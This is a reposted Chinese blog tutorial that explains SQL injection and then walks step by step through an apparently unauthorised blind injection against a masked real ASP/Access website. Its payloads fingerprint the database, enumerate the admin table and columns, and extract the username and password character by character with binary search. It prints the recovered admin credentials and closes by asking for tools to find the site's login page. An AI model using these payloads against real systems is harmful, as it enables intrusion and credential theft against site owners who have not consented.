(转)sql注入原理和过程

 一、sql注入原理
    程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
    受影响的系统:对输入的参数不进行检查和过滤的系统。


二、sql注入过程

1.找到链接
我找的链接是:http://www.***.com/main_weblist.asp?key_city=1
其实,类似http://hostname/***.asp?id=*的网页都可能有sql漏洞。

2.测试
(1)在末尾加'
http://www.***.com/main_weblist.asp?key_city=1'
结果如下:
-----------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误在查询表达式 'web_key=1 and web_city=1'' 中。
/main_weblist.asp,行129
-----------------------------------------------------------
该信息说明:后台数据库是access。
(2)在末尾加;
http://www.***.com/main_weblist.asp?key_city=1;
结果如下:
-----------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'
ODBC 驱动程序不支持所需的属性。
/main_weblist.asp,行140
-----------------------------------------------------------
(3)在末尾加 and 1=2 和 and 1=1
前者返回信息:该栏目无内容,将返回上一页;
后者正常返回;

由此说明该网站一定存在sql注入漏洞,有很大把握可以拿到管理员的用户名和密码。

3.猜管理员帐号表
在末尾加上: and exists (select * from admin)
注意and前面有一个空格。
我们的意思是猜测他有个admin表段
呵呵,页面返回正常,我们猜对了。当然也可能错误返回,这时就要看猜测的本事了。

4.猜测管理员表表中的字段
我们再来猜他的管理员表中是否有一个ID段,
在末尾加上: and exists (select id from admin)
OK,页面返回正常,说明他的admin表中有个id的字段;
我们继续: and exists (select username from admin)
这里的意思是看看他的admin表中是否有username字段,
页面返回正常,说明在admin中有一个username字段;
我们继续猜他放密码的字段: and exists (select password from admin)
返回正常的页面,说明他的admin表中有个password字段。
好了,到此可以知道admin表中至少有如下三个字段:id,username,password,这各命名方式与普通程序员的命名方法一致。

5.猜测用户名和密码的长度
为了下面方便进行,首先猜他的管理员的id值:
 and exists (select id from admin where id=1)
意思是看看他的admin表中是否有一个id=1的值,
OK,返回了正常的页面,说明我们猜对了。
好了,接着猜ID为1的用户名长度:
 and exists (select id from admin where len(username)<6 and id=1)
这里我们猜他的管理员长度小于6,呵呵,返回了正常的页面,还好,名字不是太长,
我们一个个来实验好了,直到:
 and exists (select id from admin where len(username)=5 and id=1)
返回了正常的页面,说明用户名的长度我们已经猜出了为5。
用同样的方法,我们猜出了密码的长度是10,要添加的语句是:
 and exists (select id from admin where len(password)<10 and id=1)
到此,用户名和密码的长度都已经猜出来了,下面要做的是猜出它们的每一位分别是多少。

6.猜测用户名
方法是,在后面加上:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<100)
其中,asc函数的功能是将字符转换成ASCII码,mid函数的功能是截取username字段值的字串,从第1位开始,截取的长度是1。
我们这里做的意思是,猜测他的用户名的第一个字的ascii码值小于100。
返回了正常页面,说明的确如我们所料,接着:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<50)
返回错误信息,说明:50<=第一个字的ascii码值<100。接下来,我们用折半查找的思想:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<75)
返回错误信息,继续,直到:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))=97)
返回正常页面,说明用户名的第一个字的ASCII码是97,查找ASCII表,知道它是a。
接下来我们猜测第二位:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,2,1))=100)
说明第二位的ASCII码是100,字符是d。
接下来我们猜测,很有可能用户名就是admin,因为它正好是五位。
为了证明我们的猜测,我们用如下方法测试:
 and 1=(select id from (select * from admin where id=1) where username='admin')
返回正常页面,太好了,我们猜对了,用户名就是admin。

7.猜测密码
接下来就是猜测密码了,方法和猜测用户名的一样,只能一位一位地试了,
这里就不一位一位列举了,还是用折半查找的思想,很快就能找到密码是SM8242825!
用以下语句验证一下:
 and 1=(select id from (select * from admin where id=1) where password='SM8242825!')
返回了正常页面!
好,到此为此我们已经找到了用户名和密码,分别是:admin SM8242825!。

8.猜测管理员入口地址
做了很多猜测,都未果,如下链接都不是登陆接口:
admin.asp,login.asp,admin-admin.asp,admin/login.asp等等
后来还用了nbsi2.0工具进行自动探测,也没有找到,这给我们留下了遗憾。
哪位朋友有好的工具或者方法,希望能相互交流。

原文地址:https://www.cnblogs.com/fjchenqian/p/1381574.html